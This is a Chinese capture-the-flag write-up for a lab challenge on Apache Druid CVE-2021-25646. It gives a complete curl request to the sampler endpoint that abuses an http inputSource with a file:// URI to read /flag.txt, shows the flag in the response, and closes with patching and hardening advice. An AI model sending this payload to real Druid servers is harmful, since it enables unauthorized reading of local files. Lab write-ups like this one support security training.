Apache-druid(CVE-2021-25646) 通关笔记
题目信息
- 平台:玄机靶场
- 题目 ID:197
- 难度:简单
- 积分:300 分
- 类型:渗透
- 漏洞编号:CVE-2021-25646
漏洞背景
Apache Druid 0.20.0 及以前版本中,/druid/indexer/v1/sampler接口的ioConfig.inputSource支持多种数据源类型,包括http类型。该类型允许从指定 URI 拉取数据,而未对file://协议进行限制,导致攻击者可以通过file:///path/to/file读取服务器本地任意文件。
虽然题目描述的是 JavaScript RCE(通过javascript类型的 filter/aggregator 执行任意 JS 代码),但本靶场环境中 JavaScript 功能被配置禁用(druid.javascript.enabled未设置为 true),因此改用httpinputSource +file://协议实现任意文件读取。
靶机信息
- IP:52.83.246.206
- 端口:8888(Druid Router/Web Console)
- 版本:Apache Druid 0.20.0
利用过程
步骤 1:确认服务版本
curl-s"http://52.83.246.206:8888/status"响应确认版本为0.20.0,属于漏洞版本范围。
步骤 2:尝试 JavaScript RCE(失败)
通过/druid/indexer/v1/sampler发送包含javascript类型 filter 的 payload,服务器返回:
HTTP ERROR 500 java.lang.IllegalStateException: JavaScript is disabled说明druid.javascript.enabled未启用,JavaScript 执行路径不可用。
步骤 3:改用 file:// 协议读取文件
利用http类型 inputSource 支持file://协议的特性,直接读取/flag.txt:
curl-s-XPOST"http://52.83.246.206:8888/druid/indexer/v1/sampler"\-H"Content-Type: application/json"\-d'{ "type": "index", "spec": { "type": "index", "ioConfig": { "type": "index", "inputSource": { "type": "http", "uris": ["file:///flag.txt"] }, "inputFormat": {"type": "regex", "pattern": "(.*)", "columns": ["line"]} }, "dataSchema": { "dataSource": "test", "timestampSpec": {"missingValue": "2021-01-01T00:00:00.000Z"}, "dimensionsSpec": {"dimensions": ["line"]}, "metricsSpec": [], "granularitySpec": {"type": "uniform", "segmentGranularity": "DAY", "queryGranularity": "NONE", "rollup": false} } }, "samplerConfig": {"numRows": 10, "timeoutMs": 10000} }'步骤 4:获取 FLAG
响应内容:
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"},"parsed":{"__time":1609459200000,"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"}}]}FLAG:flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}
Flag 汇总
| 步骤 | 内容 | Flag |
|---|---|---|
| 步骤1 | 读取 /flag.txt | flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc} |
修复建议
- 升级 Apache Druid 至 0.21.0 或更高版本。
- 若无法升级,在
common.runtime.properties中确保druid.javascript.enabled=false(默认值)。 - 对
http类型 inputSource 的 URI 进行白名单校验,禁止file://、jar://等本地协议。 - 部署网络访问控制,限制 Druid 管理端口(8888/8081/8090)的外部访问。